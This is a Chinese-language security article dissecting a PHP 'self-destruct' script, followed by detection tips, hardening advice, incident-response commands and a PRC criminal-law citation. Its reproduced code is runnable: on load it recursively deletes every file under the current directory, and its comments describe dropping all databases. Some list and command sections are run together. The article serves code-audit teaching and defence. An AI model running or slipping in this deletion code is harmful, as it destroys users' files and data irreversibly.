本文僅供安全研究、程式碼審計教學用途。嚴禁在任何生產、測試環境執行。執行將導致不可逆的資料銷毀,可能構成違法犯罪。
<?php
// 配置區:資料庫連線資訊(攻擊者可修改)
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216'); // 非標準端口,針對性攻擊
define('DB_DAMAGE', true); // 開關:true=摧毀資料庫
run(); // 立即執行
function run() {
deletedir(); // 遞迴刪除檔案
deleteDB(); // 摧毀資料庫
}
function deletedir($dir = '') {
if ($dir === '') $dir = realpath('.'); // 當前目錄
// 注意:原碼此處有 exit(),實際不會執行後續刪除
// 這是一個「未完成」或「測試版」的惡意程式碼
if (!($handle = @opendir($dir))) die("目錄不存在");
while (($file = readdir($handle)) !== false) {
if ($file === '.' || $file === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($path)) {
deletedir($path); // 遞迴進入子目錄
} else {
@unlink($path); // 刪除檔案(@抑制錯誤)
}
}
@rmdir($dir); // 刪除空目錄
}
function deleteDB() {
if (DB_DAMAGE === true) {
// 原碼僅有註釋 "//start",未實作具體 SQL
// 實際惡意碼通常包含:
// - SHOW DATABASES 遍歷所有庫
// - DROP DATABASE 執行刪除
// - 或 TRUNCATE TABLE 清空所有表
}
}
| 風險特徵 | 檢測方法 | 風險等級 |
|---|---|---|
| 遞迴刪除檔案 | 掃描 unlink/rmdir/opendir 組合 | 🔴 致命 |
| 資料庫 DROP/TRUNCATE | 掃描 SQL 關鍵字,審計權限配置 | 🔴 致命 |
| @ 抑制錯誤 | 掃描 @function() 模式 | 🟡 可疑 |
| 實時執行無條件判斷 | 檢查入口點是否有環境/權限驗證 | 🟠 高危 |
SELECT/INSERT/UPDATE,嚴禁 DROP/ALTER/TRUNCATEopen_basedir 限制 PHP 可存取路徑,禁用 exec/shell_exec/system# 1. 立即隔離 systemctl stop nginx php-fpm # 2. 保留現場證據 cp -a /var/www/html /forensys/$(date +%F_%H%M) # 3. 從乾淨備份恢復 rsync -av /backup/clean/ /var/www/html/ # 4. 修改所有憑證 # 資料庫密鑰、API Keys、SSH Keys、JWT Secrets # 5. 根因分析 # - 入侵向量(SQL注入/檔案上傳/供應鏈/弱口令) # - 橫向移動範圍 # - 持久化機制(WebShell/定時任務/SSH公鑰)
根據《中華人民共和國刑法》第二百八十六條:破壞計算機資訊系統罪,對計算機資訊系統功能進行刪除、修改、增加、干擾,造成嚴重後果的,處五年以下有期徒刑或拘役;後果特別嚴重的,處五年以上有期徒刑。
安全無小事。這類「自毀程式碼」雖然原始碼粗糙,但說明攻擊者具備基本破壞邏輯。防禦關鍵在於:權限最小化、備份常態化、審計自動化、響應流程化。寫程式碼時,請記住——你寫下的每一行 `rm -rf`、`DROP TABLE`,都可能在某個夜晚被觸發。